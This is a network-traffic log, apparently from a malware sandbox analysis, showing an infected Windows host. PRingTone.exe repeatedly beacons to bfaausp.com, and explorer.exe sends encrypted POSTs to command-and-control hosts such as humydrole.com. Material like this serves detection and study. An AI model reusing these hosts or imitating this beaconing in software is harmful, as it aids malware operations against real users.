Dec 19, 2023 03:25:14.307601929 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.4	49935	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:14.719460011 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:14.992641926 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.4	49936	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:15.396532059 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:15.675017118 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.4	49939	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:16.080972910 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:16.358587027 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.4	49940	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:16.794282913 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:17.067478895 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.4	49941	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:17.239912987 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jicewxafowy.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 110 Host: humydrole.com
Dec 19, 2023 03:25:17.239943027 CET	110	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 44 20 fe 8d Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA .[k,vuD c@lrkIQL
Dec 19, 2023 03:25:18.405428886 CET	252	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:25:17 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 7 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.4	49942	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:17.474376917 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:17.752757072 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.4	49943	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:18.200087070 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:18.477081060 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.4	49945	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:20.362777948 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:20.641983032 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.4	49946	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:21.112518072 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:21.392502069 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.4	49947	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:21.793400049 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:22.066921949 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.4	49948	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:22.478708982 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:22.757010937 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.4	49949	91.215.85.17	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:23.120981932 CET	282	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://sfmuyfknnonqscc.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: stualialuyastrelia.net
Dec 19, 2023 03:25:23.121040106 CET	109	OUT	Data Raw: 48 9d f8 c9 40 14 55 20 5a 76 51 2f 78 da 53 bb 20 6e ed 14 f8 1d aa a8 c1 61 a2 80 01 ff d5 91 88 a9 81 c4 77 37 e3 c0 d1 5b 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 bb 8a 14 62 cc d6 4f 96 f3 f2 4e fd Data Ascii: H@U ZvQ/xS naw7[j~_=;}f=B!bONfy&5c50
Dec 19, 2023 03:25:23.408139944 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 19 Dec 2023 02:25:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.4	49950	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:23.191349983 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:23.469558954 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.4	49952	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:23.880501032 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:24.158483028 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.4	49953	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:24.559354067 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:24.833355904 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.4	49954	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:25.248167038 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:25.529114008 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.4	49955	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:25.919240952 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:26.201644897 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.4	49956	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:26.608427048 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:26.882033110 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.4	49957	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:27.284519911 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:27.568717003 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.4	49958	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:27.972225904 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:28.250790119 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.4	49960	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:28.683938980 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:28.957218885 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.4	49961	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:29.355045080 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:29.633445978 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.4	49962	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:30.052377939 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:30.330673933 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.4	49963	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:30.733505011 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:31.008013964 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.4	49964	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:31.405009031 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:31.682908058 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.4	49965	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:32.128062010 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:32.407305956 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.4	49966	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:32.567059994 CET	287	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://otepxyvexcercvtx.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 359 Host: humydrole.com
